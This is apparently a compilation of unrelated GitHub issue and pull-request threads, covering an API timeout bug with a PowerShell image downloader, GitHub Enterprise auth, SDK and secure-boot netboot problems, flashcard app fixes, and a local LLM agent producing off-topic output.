[Bug]: API "GET /api/v1/images" returned HTTPCode 500 when fetch images

What happened?
It failed when I get images by API : GET /api/v1/images
Steps to reproduce the problem

Open browser and goto URL https://civitai.com/api/v1/images?limit=200&modelId=133005
Expect: Get json data from server contained the images infomation.
Actually: Got 500 error and the error message in body is:
{
"error": "canceling statement due to statement timeout",
"code": "57014"
}

What should have happened?
Get json data from server contained the images infomation.
What platforms do you use to access the site?
No response
What browsers do you use to access the site?
No response
Additional information, context and logs
No response

Yes, it is not possible to get images and data like before from API.
https://civitai.com/api/v1/images?limit=100&sort=Newest&modelId=257749&modelVersionId=290640&browsingLevel=0&cursor=0
An empty response is obtained.
The problem occurred 8 hours ago.

Yeah i can`t get the API to download more than the first page using this powershell script:
`
Function Get-CivitAiImages {
Param(
    [Parameter(Mandatory = $true, Position = 0)][string[]]$URLs
)
$API_Key = "YOURAPIKEYHERE"
$BaseFolder = "DESTINATIONFOLDER"
$Limit = 100

foreach ($URL in $URLs) {
    # Extract the username from the URL
    if ($URL -match "https://civitai.com/user/([^/]+)/images") {
        $Username = $matches[1]
    } else {
        Write-Host "Invalid URL format: $URL"
        continue
    }

    $OutFolder = "$BaseFolder\$Username"
    $JSONPath = "$OutFolder\$Username.json"
    If (!(Test-Path $OutFolder)) {
        New-Item -Path $OutFolder -ItemType Directory | Out-Null
    }
    Set-Location $OutFolder

    $ImageJSON = @()
    $Page = 1

    do {
        $APIURL = "https://civitai.com/api/v1/images?username=$Username&token=$API_Key&limit=$Limit&page=$Page"
        try {
            $response = Invoke-WebRequest -Uri $APIURL -Headers @{"Content-Type" = "application/json"} -Method Get -UseBasicParsing
            $JSON = $response.Content | ConvertFrom-Json
            if ($JSON -eq $null -or $JSON.items -eq $null) {
                Write-Host "Invalid JSON response for $Username on page $Page."
                break
            }
            if ($JSON.items.Count -eq 0) { break }
            $ImageJSON += $JSON.items
            $Page++
        } catch {
            Write-Host "Failed to fetch or parse JSON for $Username on page $Page. Error: $_"
            break
        }
    } while ($JSON.items.Count -eq $Limit)

    if ($ImageJSON.Count -eq 0) {
        Write-Host "No images found for $Username."
        continue
    }

    $Global:i = 0
    $ItemCount = $ImageJSON.Count
    $Activity = "Downloading images for $Username... "

    $ImageJSON | ConvertTo-Json -Depth 10 | Out-File -LiteralPath $JSONPath -Force
    for ($i = 0; $i -lt $ItemCount; $i++) {
        $ImageURL = $ImageJSON[$i].url
        $FileName = [System.IO.Path]::GetFileName($ImageURL)
        try {
            Invoke-WebRequest -Uri $ImageURL -OutFile $FileName -UseBasicParsing
        } catch {
            Write-Host "Failed to download image $ImageURL for $Username. Error: $_"
            continue
        }

        $Global:i++; $Percent = 100 / $ItemCount * $Global:i
        $Status = " {0:n1}%:   {1} of {2}" -f $Percent, $Global:i, $ItemCount
        Write-Progress -Activity $Activity -Status $Status -PercentComplete $Percent
    }

    Write-Progress -Activity $Activity -Completed
}

}
List of URLs
$URLs = @(
"https://civitai.com/user/USERNAME1/images",
"https://civitai.com/user/USERNAME2/images",
"https://civitai.com/user/USERNAME3/images"
)
Call the function with the list of URLs
Get-CivitAiImages -URLs $URLs
pause
`

I came to enter a similar issue but this one is close enough. I'll add that I think the 'Code 500' response seems specific to highly active / popular model versions, as the /v1/images endpoint responses from less popular models are far more stable with successful responses.
Specifically, the response for some models (seemingly popular / highly active ones as mentioned above) is:
{
    "error": "canceling statement due to statement timeout",
    "code": "57014"
}

My uninformed thesis/guess:
The failure rate for queries on some models is quite high (80-90%) depending on the time of day, and I'm thinking it probably has to do with the fact that, particularly when applying to "Most Reactions" sort to the API query, the images are getting reactions often enough that the state of the database is changing second by second, and this may be breaking the way the cursors and paging works.
Even when no cursor is passed on the "Most Reactions" sort, probability of failure (error 500) can still be quite high, so it's not necessarily specific to using the cursor. I think it just is a server load / responsiveness shortfall because the sorting algorithm on Most Reactions can't keep up with the number of reactions being made to the model's images. Again, this is just my theory.

Hey all, thank you for your patience with this issue. We have made an update and should be coming out shortly today. You can see the changes here https://github.com/civitai/civitai/commit/1c83cd037bfeb1fcc666fadb1d96c51558dd7034 which should fix this problem once and for all.
If this is still an issue, please feel free to re-open this. Hope this helps!


Enable usage on Github Enterprise

I am trying to get this action running on an on-prem Github Enterprise.
Till know I encountered 2 bugs that prevented it from working.

Encode  newlines as "\n" in key
Github API URL is not used in gitHubAppToken

I am trying to come with a PR for this 😄

For (2.) you need to provide the API URL to the function and then override request and provide the URL there:
createAppAuth({
  appId: 1,
  privateKey: "-----BEGIN PRIVATE KEY-----\n...",
  request: request.defaults({
    baseUrl: "https://ghe.my-company.com/api/v3",
  }),
});

Reference: https://github.com/octokit/auth-app.js/#createappauthoptions-or-new-octokit-auth-

Thanks for the hint, I found exactly the same snippet and with that I got it working 😄
I have to tidy the code a bit before creating a PR.


Sync To Genesis Needs to Gather Sufficient Finality Signatures For All Blocks

This PR launches a task downloading and validating signatures for blocks in one era every time it encounters a switch block while walking back from the trusted hash to genesis. This way a node synced to genesis will have sufficient finality signatures for all past blocks.

Since syncing to Genesis is being rewritten in #3020 I would suggest we wait with this until the other is merged. We will have to rewrite it anyway.


lisa.wlgen.rta: Cleanup RTA.by_str()

Recurse into the nested mapping instead of doing text-based tricks on
the JSON representation. That ensures we don't need to manage any kind
of quoting and allows better control to what path in the JSON file we
would allow updating.

IIRC this doesn't work because the tokens we replace are not proper JSON, so we can't do json.loads(template). Do you still want to work on this?

If we go the JSON way, I'll keep that PR as it is, otherwise I'll respin it with a plain simplification of the code (it boils down to a str.replace(), but current implementation takes 20+ lines for that).


fix: update eosio::checksum256 .size() to sizeof

eosio::checksum256 value.size() is alway = 4

fix #127 , when enther soft fork or restart history-tools, the process will be crashed with funcation flush_streams. cause operate table_streams

The first 2 fixes were merged on:
https://github.com/EOSIO/history-tools/pull/132
https://github.com/EOSIO/history-tools/pull/133
@AirSwapTeam can you please create a new PR for the last commit you added and some explanation about what is the purpose of the change, thanks for the fixes!


Prune keep fix

Suggested fix for #8

Thanks for this but fixed in https://github.com/artsy/jenkins-backup-s3/pull/10


AmazonResourceGroupsTaggingAPIClient.GetResourcesAsync does not adhere to CLI spec

Description
Attempting to perform a GetResourcesAsync without specify TagFilters fails. However, according to the spec (below) and being able to execute the corresponding operation via CLI successfully, not providing TagFilters should not throw exceptions.
From Spec:
"[sic] If you don't specify a TagFilter, the response includes all resources that are currently tagged or ever had a tag. Resources that currently don't have tags are shown with an empty tag set, like this: "Tags": []."
Providing a null or empty list to TagFilters you ends up with validation errors.
Note: the follow call works as expected in the CLI.
aws resourcegroupstaggingapi get-resources --region ap-southeast-2 --resource-arn-list <some-arn>
Reproduction Steps
           var request= new GetResourcesRequest
            {
                TagFilters = new List<TagFilter>(), // or null
                ResourceARNList = new List<string> { "<some-arn>" }
            };

            var response = await taggingClient.GetResourcesAsync(request);

Logs
Amazon.ResourceGroupsTaggingAPI.AmazonResourceGroupsTaggingAPIException with message "1 validation error detected: Value null at 'tagKeys' failed to satisfy constraint: Member must not be null"
Environment
AWSSDK.ResourceGroupsTaggingAPI

SDK Version: <IP_ADDRESS>
Package Version: <IP_ADDRESS>
OS Info: Windows 10
Build Environment Visual Studio
Targeted .NET Platform:  netcore3.1 or netstandard2.1

This is a :bug: bug-report

Hi @DizzyDeveloper,
Good afternoon.
Somehow I'm unable to reproduce the issue using the AWSSDK.ResourceGroupsTaggingAPI version <IP_ADDRESS>. I tried with both empty list or null for TagFilter list. It doesn't throw any exception. Not sure how you are getting the error.
Thanks,
Ashish

Hi @ashishdhingra,
Well that is a bit awkward...I will have to have another look myself then. Mayhap I missed something on myside.
Give me some time I will get back to you :)
Thanks,
DizzyDeveloper


Combined classic ItemsSketchSortedView and KllItemsSketchSortedView.

Combined classic ItemsSketchSortedView and KllItemsSketchSortedView.
Merged into one shared class, eliminating a big chunk of duplicate code.
By doing this it eliminated the need to copy all the Partitioning code from one to the other.
Also, I was able to eliminate two proxy classes by making the ItemsSketchSortedView constructor public.

While working on this I noticed that the toString(...) method in the
Classic Items sketch was essentially broken.

The most serious issue is that it made a silent assumption that the T object input by the user overrides the Object.toString() with a human readable and meaningful string.  Without that, the method outputs the very long and not meaningful string generated  by Object, such as: org.apache.datasketches.quantiles.ItemsSketchTest$BadItem@5e955596.
There are many cases where the user may not be able to modify the T object in order to add a useful toString() method.  The user's only option would be to wrap each input object in a class with the toString method.  Yikes!
Also, the method only provided readable output for very small sketches because of the way the output was structured.
This PR fixes the output structuring so that both the KLL Items SV and the Classic Items SV appear almost identical.  In a future PR I want to replicate this same structuring to the KLL Floats and Doubles sketches toString() methods behave the same.
What is not yet fixed is the fundamental problem is that the Classic Items Sketch constructors only require the Class<T> parameter, while the KLL Items Sketch constructors require an implementation of ArrayOfItems<T>.  This solves the problem because the AOI class includes a toString method, which can be applied only when required.
It would be possible to require an AOI class as a parameter to toString(...), but this throws a wrench into having a consistent API across all the quantile sketches.
The repercussions of this are not simple. I will post a discussion on this issue in Slack.


Text file loading error

Traceback (most recent call last):
File "C:\Users\karen\PycharmProjects\DioceseProject.venv\Lib\site-packages\langchain_community\document_loaders\text.py", line 43, in lazy_load
text = f.read()
^^^^^^^^
File "C:\Python312\Lib\encodings\cp1252.py", line 23, in decode
return codecs.charmap_decode(input,self.errors,decoding_table)[0]

UnicodeDecodeError: 'charmap' codec can't decode byte 0x9d in position 25167: character maps to

UnicodeDecodeError: 'charmap' codec can't decode byte 0x9d in position 25167: character maps to

UnicodeDecodeError: 'charmap' codec can't decode byte 0x9d in position 25167: character maps to


changed the ISS to IIS

PassCore Server

OS: [Windows | Linux | macOS]
Provider: [Active Directory | LDAP]

Describe the intention of the PR
A clear and concise description of what the pull request is.

Thanks!


skip_button and fluid_ad_cta same position

Hello
Mobile - tablet users can not skip vast ad. The reason is that ad-cta is on top because they have the same bottom position.
.fluid_video_wrapper.mobile .skip_button,.fluid_video_wrapper.mobile .fluid_ad_cta{bottom:75px}
I have fixed it by adding after style file this css code.

Hi @ERI123, this is a known issue and a fix is being put in place. Thank you for the feedback on a fix.

The positioning fixes for skip_button and fluid_ad_cta were introduced as part of v2.2.0


Unity WebGL build not building using UnityPackage

Hello i know it's look like a repost of another issue but i want to precise that i use the UnityPackage and when i Build a webGL build i have those following errors :

Assets\UnityGLTF\Scripts\Cache\AnimationCacheData.cs(1,7): error CS0246: The type or namespace name 'GLTF' could not be found (are you missing a using directive or an assembly reference?)

Assets\UnityGLTF\Scripts\Cache\AnimationCacheData.cs(2,7): error CS0246: The type or namespace name 'GLTF' could not be found (are you missing a using directive or an assembly

I have 153 errors and i really don't know how to build the app in WebGL. In the editor my app works properly.
I want to precise that GTLF Serialisation.dll are in ths UnityGLTF/Plugins soo i don't know why GLTF name space are not detected.
I tried to build GLTFSerialisation.sln in the project but add GLTFSerialization in the project create issues.

I trie to Build my App in .EXE and i don't have those errors, is that UnityGLTF compatible with WebGL ?

Okay the problem was that in UnityGltf\Plugins\Net35\GltfSerialization had the WebGL option uncheck.


Change provider injection for minification parity

If the js is minified by another system, the parameter specifying $stateprovider would be converted to single character, thus breaking the injector.

I just think that using gulp or grunt with ngmin to automatically provide this, is even better practice.

I had worked on the project that was using array style injections and uglifying the output. For development purposes, you always included full version of the code & minified everything on build step (we didn't use ngmin or anything similar).
This has several advantages:

You get to debug nice code (yes, there're source maps, but they are not always an option).
You can minify it on your build step. In theory, this brings better compression than bringing in minified version and minifying that.


customize the ids of fake players

Maybe add a function that allows users to customize or give a list of ids of the bots

Hi,
I have made the option to load nicknames from a file
https://github.com/crpmax/mc-bots/releases/tag/v1.2.2


navigate() does not respect root configuration value

I know that when you configure the router component you can pass a root: "/some/app/root" value.  This is excellent.  However, navigate() doesn't seem to respect this root value.  Would this be something you'd consider adding?
// App
{
  routes: {
    "/": "home",
    "/account": "account"
  }
}

App({root: "/myapp" })  // /myapp is home

navigate("/account")
// should be /myapp/account
// instead is /account

Currently navigate is just a simple wrapper around pushState/hashchange, so it requires the absolute path to navigate to.
An option would be to create a function generator that can take in the root and pass back a navigate function that will always prepend it. This would still require passing it around in the Component context though I believe.
Any thoughts? If you find a solution that works for you I'll happily review a pull request so others can benefit.

Ah yes, I see what you mean...
For now we just handle all navigates in the same component which is aware of the root, so we can avoid context, but I can see where this gets a little tricky.  We're quite happy with it as-is, but if any brilliant ideas strike I will certainly submit a PR :)
Thanks!


Divided approach

Description of the problem

Not enough void fraction scheme available to compare with the new quadrature centered void fraction scheme that we developed.

Description of the solution
-Coded the divided approach so now our VANS solver supports the Particle centered method, the satellite point method (divided approach) and the quadrature centered method.
How Has This Been Tested?
-The divided method has been test by showing that is gives similar pressure drop in a packed bed, similar drag force and particle motion. Also it was tested for a single sedimenting particle to determine whether or not it conserves mass.
Documentation
the void fraction prm file in the unresolved_cfd_dem section.

All comments have been addressed. A test have been created for the spm method in gls_vans_3d. I also explained clearly the parameter documentation. Added a figure for clarity as suggested. As Shahab suggested, I would compare the different void fraction schemes in the theory guide of unresolved CFD-DEM. But I prefer to do this after I write the void fraction article.


Unhandled exception detection

These changes add the ability to detect unhandled exceptions in the most commons cases. The algorithm is described (along with its known caveats) and coded into the ExceptionTracker class. No action is taken in these changes when an unhandled exception does occur; these changes are purely about detection.

/backport to main


[question] arm image download

为什么docker hub上面没法获取arm架构的编译后的二进制文件，下载镜像的时候提示找不到镜像

which version are you looking for?

what command are you using for downloading the image?

which version are you looking for?

3.1.15  docker pull starrocks/be-centos:3.1.15

fe/be/cn docker image is not provided for centos platform. the artifacts are provided. https://hub.docker.com/layers/starrocks/artifacts-centos7/3.1.15/images/sha256-77266dc9db625c61eb64923457ecf4f7d733fe3fba6d34a71f5d2fd62ebb5b51?context=explore
you can refer to this doc on how to pull the artifacts: https://docs.starrocks.io/docs/deployment/prepare_deployment_files/#for-arm-based-cpu
you can also build your own fe/be/cn image based on this artifacts. https://github.com/StarRocks/starrocks/blob/main/docker/dockerfiles/README.md

fe/be/cn docker image is not provided for centos platform. the artifacts are provided. https://hub.docker.com/layers/starrocks/artifacts-centos7/3.1.15/images/sha256-77266dc9db625c61eb64923457ecf4f7d733fe3fba6d34a71f5d2fd62ebb5b51?context=explore
you can refer to this doc on how to pull the artifacts: https://docs.starrocks.io/docs/deployment/prepare_deployment_files/#for-arm-based-cpu
you can also build your own fe/be/cn image based on this artifacts. https://github.com/StarRocks/starrocks/blob/main/docker/dockerfiles/README.md

我之前尝试下载3.1.15的源码，自己在centos7.9的arm架构上去编译，但是编译的时候出现ength()' follow
collect2: error: ld returned 1 exit status
make[2]: *** [protoc] Error 1
make[2]: Leaving directory /opt/starrocks-3.1.15/thirdparty/src/protobuf-3.14.0/src' make[1]: *** [all-recursive] Error 1 make[1]: Leaving directory /opt/starrocks-3.1.15/thirdparty/src/protobuf-3.14.0'
make: *** [all] Error 2    我的gcc版本是10.2.0


An error occurs when trying to search within multiple fields of an OpenSearch domain index with simple_query_string

Describe the bug
I am facing an error when trying to search in multiple fields inside an OpenSearch index.
A typical OpenSearch query with simple_query_string might look like the following:
    {
        "query": {
            "simple_query_string": {
                "query": "term-1 | term-2",
                "fields": ["field-1", "field-2"],
                "default_operator": "AND",
            }
        }
    }

and this could be translated in data-wrangler code to:
search_body = {
    "query": {
        "simple_query_string": {
            "query": "term-1 | term-2",
            "fields": ["field-1", "field-2"],
            "default_operator": "AND",
        }
    }
}

df = wr.opensearch.search(
    client=opensearch_client,
    index="index-name",
    search_body=search_body,
)

This unfortunately generates the following error: Only a column name can be used for the key in a dtype mappings argument.
When used with just one field it works as expected.
How to Reproduce
Create an OpenSearch Domain and Index, index a document and try searching with a query similar to the query above.
Expected behavior
No response
Your project
No response
Screenshots
No response
OS
Linux 5.16.11 x86_64
Python version
3.8
AWS DataWrangler version
2.15.1
Additional context
No response

Thank you for the quick response and sorry for my delayed one. I tested this again today and found out that it worked perfectly.
I'm closing this as there seems to be no bug, I'm not sure what went wrong when I reported this issue.


Add common var-generating functions to maketable1 branch

This merge adds the functions gen_lag_vars, gen_year_vars and gen_xtile_vars to the module. These functions mostly create variables, and are used in more than 1 do-file of the whole paper. As of now, one (small) issue is known: one of the outerjoins duplicates a few of the variables (11 of them), thus the stata dataset has 686 vars whilst the julia one has 697. These are currently not dropped.

I also added the function keep_20years_gdp since in most (all?) do files, we only keep a country if we have at least 20 years of gdp.


Cannot forward body

Hi thanks for the plugin, may i use it in production envirment?, it is not possible to forward body, thanks in advance

@JsanchezPilo yes, we are using it in a production environment and so far everything is going pretty well. I just accepted your PR, I'll create a new release on luarocks later.

kong-plugin-the-middleman 1.0.2 released


Fix typo

Replaced DB)ID with DB_ID.

This seems like a small (but important) contribution, so no Contribution License Agreement is required at this point. We will now review your pull request.
Thanks,
Microsoft Pull Request Bot

Thank you @eduardok for the help with the content.


Timestamp format

.arg("--timestamp-format FORMAT") passes the single arg "--timestamp-format FORMAT", it needs to be .arg("--timestamp-format").arg("FORMAT") or .args(["--timestamp-format", "FORMAT"). I just pushed a commit fixing it.

I changed the flag to --timestamp. I noticed in the examples in the readme, you used --timestamp, which I think would be a common error, and --timestamp is shorter anyways.
I removed the --ts alias for now. If it's a commonly used flag, I'd rather just give it a short flag, like -t or -T.
TIMESTAMP_FORMAT has a default value, so it can just be unwrapped.

Oh yeah, also made it local time, since I figure that's more useful, and if it's local time, they can at least configure it by changing the time zone of their system, whereas if it's UTC, they can't configure it.


Update sql-database-features.md

Adding clarification about supported in-memory objects

@kfarlee : Thanks for your contribution! The author(s) have been notified to review your proposed change.

#sign-off

Resolved the merge conflict

@ktoliver : Thanks for your contribution! The author(s) have been notified to review your proposed change.


Facebook appsecret_proof incorrectly comptued

Facebook auth responds with: Invalid appsecret_proof provided in the API argument Authentication works if SOCIAL_AUTH_APPSECRET_PROOF is set to False.
https://github.com/omab/python-social-auth/blob/master/social/backends/facebook.py#L50

Agreed. Having the same issue. Thanks for the tip!

+1

+1

1

+1

I can't reproduce this, appsecret_proof seems to be generated accordingly the rules in facebook docs, maybe this got fixed in the recent update to the backend.
I'm closing it, if still relevant, please open a ticket in social-core component.
Thanks


Automated cherry pick of #4858: fix: 恢复公有云日志name

Cherry pick of #4858 on release/3.0.
#4858: fix: 恢复公有云日志name

Codecov Report

:exclamation: No coverage uploaded for pull request base (release/3.0@40a2111). Click here to learn what that means.
The diff coverage is n/a.

@@              Coverage Diff              @@
##             release/3.0   #4859   +/-   ##
=============================================
  Coverage               ?   6.78%
=============================================
  Files                  ?     524
  Lines                  ?   89833
  Branches               ?       0
=============================================
  Hits                   ?    6091
  Misses                 ?   83234
  Partials               ?     508

Flag
Coverage Δ

#aFlag
6.78% <ø> (?)

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 40a2111...5ba5808. Read the comment docs.

/lgtm

/approve


Print Number Entered by User.cpp

Update the Contribution.md in Same PR.
and you need to star this repo too.
Fix all then will reviews.


Bot doesn't check for new changes in other packages

Affected Packages

https://github.com/apps/changeset-bot
Problem

We ran into an issue where a package wasn't published as expected. Our setup is a monorepo with 3 packages. We tracked it down to a PR that initially added a changeset in the the first commit, but later committed some additional code changes in another package. By that time the marked packages inside the changeset was out of sync with the changes in the PR.
The problem though is that the changeset bot didn't detect that and basically said that changesets had been added correctly.
Proposed solution
The changeset bot should warn, whenever the marked packages in the changeset don't match the changes in the PR.

It makes sense - we'd gladly accept a PR that would implement such a change 😉

@jakubmazanec what changeset status is missing for your use case?

@Andarist AFAIK changeset status doesn't check whether changesets correspond to changed packages: if I change package A and add changset describing it, and then also change package B, changeset status will not fail. But on the other hand, such stricter checks would probably lead to a lot of false positives, right? 🤔


Metrics on KITTI Depth Completion different from paper

Thanks for sharing the code and models to your work!
Unfortunately the numbers I got from evaluating the provided model differ from the ones reported in the paper. Can you provide instructions how you obtained the metrics exactly?
Running eval.sh I get:
mae:257.586, rmse: 685.15, imae: 0.9162, irmse:1.6021
Thank you!

@sabruck I'm glad you're interested in our work. I retested the code and got the expected results. You can pull the latest code and run eval.sh with reference to README. It's worth noting that our model takes the original images as inputs, not the normalized images.

After reviewing it again I found indeed an error in the dataloader I caused when adjusting it to work with the KITTI dataset the way it was structured on my end and the groundtruth depth was given as model input instead of the single-scan velodyne. @LiAngLA66 Thank you so much for your reply and please excuse the extra effort I may have caused on your side.


Prepare works for sharding-scaling contribute to ShardingSphere

There are some based function and prepare works need to be done before sharding-scaling contributing to ShardingSphere.

[x] Add Apache License
[ ] Remove or replace illegal dependences

[ ] Remove mysql-connector-java jar
[ ] Remove mysql-binlog-connector-java jar sharding-scaling#3

[ ] MySQL support

[x] Connect Channel to MySQL
[ ] Parse binlog event  sharding-scaling#3

[ ] PostgreSQL support
[ ] Integrate with ShardingSphere

[ ] Change to a Service process
[ ] Provide API to generate or stop migrate jobs

If some other works need to be done or some works can be done after contributing, please discuss in comment
reference:

#3077
sharding-scaling#2

how do u deal with real-time data while migrating history data？

how do u deal with real-time data while migrating history data？

By parsing binlog or wal.

@KomachiSion @terrymanu I think we can discuss about Which is import job for merge into ss.

I think the last job Integrate with ShardingSphere can be done after merged.

PostgreSQL support also can be done after merged. I think is ready to merge.

There are two more things we should prepare before merge

Code checkstyle. If the checkstyle can't pass, it will install failed after merge.
Documents. we should add some documents, at least add operation document to teach users how to use this component. After merged, we can migrate these document to apache/incubator-shardingsphere-doc

A document about the overview of the component may be added in the prepare works list I think, people will know the architecture、design idea and processing flow about the component.
Is anyone writing it？

@ssxlulu You can create an issue and assign it to yourself.

@ssxlulu You can create an issue and assign it to yourself.

https://github.com/avalon566/sharding-scaling/issues/15 , I have opened this issue.

Have anyone done a performance test？

@ssxlulu No.

Good job. This issue has finished.


Can not add md-sets via the category context menu

OpenCards Version 2.4
I can't add a Markdown card set. Nothing happens and no errors 'pop up'.
I can add card sets as *.ppt. Everything works perfectly with those type of files....
I have a Example.md file ([url] http://opencards.info), which looks like this:

## What is a blocking factor?

A blocking factor is a source of variability that is not of primary interest to the experimenter

So, I wondering what exactly the problem is?
Thanks to everyone!!!

Great that a first user has discovered the recently added markdown functionality in OpenCards. :-)
The problem seems that adding md-sets via the context menu of the category tree is not working correctly yet.  I'll fix this asap.
In the meantime you can simply drag and drop the your md-file into OpenCards. This works for me:

I do not know why... but this does not function on my system...

'contain invalid  flashcards'

Thanks for you great work!!!

Could you attach your example md file to the Ticket?
GIT-STATA<EMAIL_ADDRESS>schrieb am Do., 28. Apr. 2016, 2:37
nachm.:

I do not know why... but this does not function on my system...
'contain invalid flashcards'
Thanks for you great work!!!
—
You are receiving this because you were assigned.
Reply to this email directly or view it on GitHub
https://github.com/holgerbrandl/opencards/issues/20#issuecomment-215410291

OpenCards.md.txt
SURE... But it is really as simple as I told...
THANKS

Indeed it is simple, however, I wanted to make sure that OpenCards does not stumble over file-encodings etc. And the good/interesting news is, that your file works for me without any changes:

What are your markdown settings in OpenCards? See Preferences --> Advanced --> Markdown:

Unrelated to your problem, but worth mentioning: It's not intended that users/you can add files with the suffix .md.txt. I'll make it more stringent for the next release to just support *.md and *.ppt. see ticket #21

When ever I try to change it, it falls back to the value false???

Thank you for you feedback. I've traced down the problem and will prepare a new release over the weekend. I'll let you know once it's ready.

I've released an improved version which addresses all your reported problems:

adding sets via context menu
preferences are not stored
markdown sets are not processed correctly

Please download a new version from https://github.com/holgerbrandl/opencards/releases/tag/v2.5 and feel welcome to reopen this ticket if you still struggle to use opencards. Thank you for your patience!

the following problem occurred while I was using OpenCards:
OpenCards version: 2.5
Platform: Linux 3.10.0-327.13.1.el7.x86_64Java Version: 1.8.0_91 - Oracle Corporation
Thread[AWT-EventQueue-0,6,main]
java.lang.NoClassDefFoundError: javafx/scene/Parent
info.opencards.CardFileBackend.getSlideManager(CardFileBackend.java:52)
info.opencards.ui.AbstractLearnDialog.prepareFileSession(AbstractLearnDialog.java:159)
info.opencards.core.LearnProcessManager.startProcessing(LearnProcessManager.java:93)
info.opencards.core.LearnProcessManager.startProcessing(LearnProcessManager.java:63)
info.opencards.ui.actions.StartLearningAction.learnCardFiles(StartLearningAction.java:166)
info.opencards.ui.actions.StartLearningAction.actionPerformed(StartLearningAction.java:64)
javax.swing.AbstractButton.fireActionPerformed(AbstractButton.java:2022)
javax.swing.AbstractButton$Handler.actionPerformed(AbstractButton.java:2348)
javax.swing.DefaultButtonModel.fireActionPerformed(DefaultButtonModel.java:402)
javax.swing.DefaultButtonModel.setPressed(DefaultButtonModel.java:259)
I do not know what to do?
Thanks!


shim won't load MokManager during netboot

I'm trying to get UEFI netboot (PXE) working with secure boot. My plan is simply:

UEFI load Microsoft signed shim.efi from tftp
shim.efi load grub2 from tftp.

I intend to use a custom signed grub2, so it won't fit the built-in key of shim.efi. I think shim.efi should call MokManager if grubx64.efi is invalid, so it give my user a chance to add my key.
But tftp log suggests that shim.efi never tries to fetch MokManager.efi from TFTP server (it does load grubx64.efi). After failing to verify grubx64.efi, it displays a dos style blue screen with following message:
                 ERROR
Verification failed: (15) Access Denied

                 ______
                 | OK |
                 ------

I googled it and cannot find any useful infomation about it. Can you explain the reason of the error, thanks.
I've tried shim 0.8 from Ubuntu and Fedora.

https://github.com/rhinstaller/shim/blob/master/netboot.c#L213
Well, it's just because PXE loading of MokManager wasn't implemented.

Well...
BTW, how do your fellows test UEFI and secure boot? It's pain to reboot my computer again and again to check my setup.

The easiest way to test secure boot is to setup a virtual machine with OVMF. It supports PXEv4/6 and HTTPBoot.
Laszlo wrote a nice document about OVMF:
http://www.linux-kvm.org/downloads/lersek/ovmf-whitepaper-c770f8c.txt
Other documents:
https://en.opensuse.org/openSUSE:UEFI_Secure_boot_using_qemu-kvm
https://fedoraproject.org/wiki/Using_UEFI_with_QEMU
openSUSE packages:
https://build.opensuse.org/package/show/Virtualization/ovmf
Fedora packages:
https://www.kraxel.org/repos/jenkins/edk2/

Hi cuihaoleo,
There was a bug in shim 0.9 which makes MokManager not show up.  Below is a patch I created to make it work.
efi_status = start_image(image_handle, use_fb ? FALLBACK :second_stage);

  if (efi_status == EFI_SECURITY_VIOLATION) {

  if (efi_status == EFI_SUCCESS) {
          efi_status = start_image(image_handle, MOK_MANAGER);
          if (efi_status != EFI_SUCCESS) {

Mat Troi


feat(category): add action for toggling a category filter

PR Checklist
Please check if your PR fulfills the following requirements:

[x] The commit message follows our guidelines: https://github.com/graycoreio/daffodil/blob/master/CONTRIBUTING.md#commit
[x] Tests for the changes have been added (for bug fixes / features)
[ ] Docs have been added / updated (for bug fixes / features)

PR Type
What kind of change does this PR introduce?
[ ] Bugfix
[x] Feature
[ ] Code style update (formatting, local variables)
[ ] Refactoring (no functional changes, no api changes)
[ ] Build related changes
[ ] CI related changes
[ ] Documentation content changes
[ ] Other... Please describe:

What is the new behavior?
An action was added for toggling a filter. Simplifies a front end application by extracting management of the applied filters to daffodil
Does this PR introduce a breaking change?
[ ] Yes
[x] No

Needs build fixed. I'm not sure changing all the state to arrays was needed; its possible that a default argument would have been sufficient. However, I do think its better to have state that is an array to be initialized to an empty array so you don't have to defensively program against it.

Needs build fixed. I'm not sure changing all the state to arrays was needed; its possible that a default argument would have been sufficient. However, I do think its better to have state that is an array to be initialized to an empty array so you don't have to defensively program against it.

Yea, sorry. I thought it was going to be necessary, because the Magento category call blows up if you pass it anything but a valid filter. So I thought it would end up being necessary to change a lot of stuff, because that method returns an empty array instead of null. But yea, I think it ended up being unnecessary.

Its all good though, I think having empty arrays is better than null.

the Magento category call blows up if you pass it anything but a valid filter
seems about right 🙄


⚠ sandbox-api.piste.gouv.fr healthcheck has degraded performance

In 9a3a832, sandbox-api.piste.gouv.fr healthcheck (https://sandbox-api.piste.gouv.fr/cassation/judilibre/v1.0/healthcheck) experienced degraded performance:

HTTP code: 200
Response time: 5214 ms

Resolved: sandbox-api.piste.gouv.fr healthcheck performance has improved in 7f4dbc3.


moved /core/server to /server

this is to make life easier for the testing merge that's coming

:ghost: :hotel:


Agent goes off topic quickly

I know this is in it's infancy but just letting you what kind of output I'm having. Agent seems to go off topic very quickly and nearly always resorts to shopping lists or morning routines when I ask it a question e.g. "Who plays in goal for man united?"
`Remember these objectives:
Objective 1 is: who plays in goal for man united

Instructions:
Develop a comprehensive plan to complete Objective 1. The plan should come as a list of tasks, each a single step in the process of completing Objective 1.
The list should be written in the order that the tasks must be completed.
Do not include tasks that have already been completed.
The number of tasks in the list should be between 1 and 6.
Each task should be one sentence.

Format:
Respond with the numbered list in the following format:
1. (first task to be completed)
2. (second task to be completed)
etc.
Do not respond with anything other than the list; do not ask for clarifications or anything else from the user.
Each item on the list should be one sentence.

Assistant

----------------------OUTPUT-----------------------
, please generate a list of 5 tasks that need to be completed today:
1. Wake up at 7am
2. Eat breakfast
3. Exercise for 30 minutes
4. Complete report for work
5. Attend meeting at 2pm

Batches: 100%|███████████████████████████████████████████████████████████████████████████| 1/1 [00:00<00:00, 53.73it/s]
Batches: 100%|███████████████████████████████████████████████████████████████████████████| 1/1 [00:00<00:00, 63.04it/s]
Batches: 100%|███████████████████████████████████████████████████████████████████████████████████| 1/1 [00:00<?, ?it/s]
Batches: 100%|██████████████████████████████████████████████████████████████████████████| 1/1 [00:00<00:00, 139.82it/s]
Batches: 100%|██████████████████████████████████████████████████████████████████████████| 1/1 [00:00<00:00, 105.17it/s]
Batches: 100%|███████████████████████████████████████████████████████████████████████████| 1/1 [00:00<00:00, 74.50it/s]
Output generated in 9.55 seconds (6.81 tokens/s, 65 tokens, context 48, seed<PHONE_NUMBER>)
-----------------------INPUT-----------------------
USER:
You are an AI assistant. Your main objective is to follow all instructions and complete all tasks written in the 'Instructions:' section, then respond with the output format specified in the 'Format:' section.
You are completely on your own, and cannot ask for more information or clarification.
You have no abilities or resources unless they are explicitly listed.

Remember these objectives:
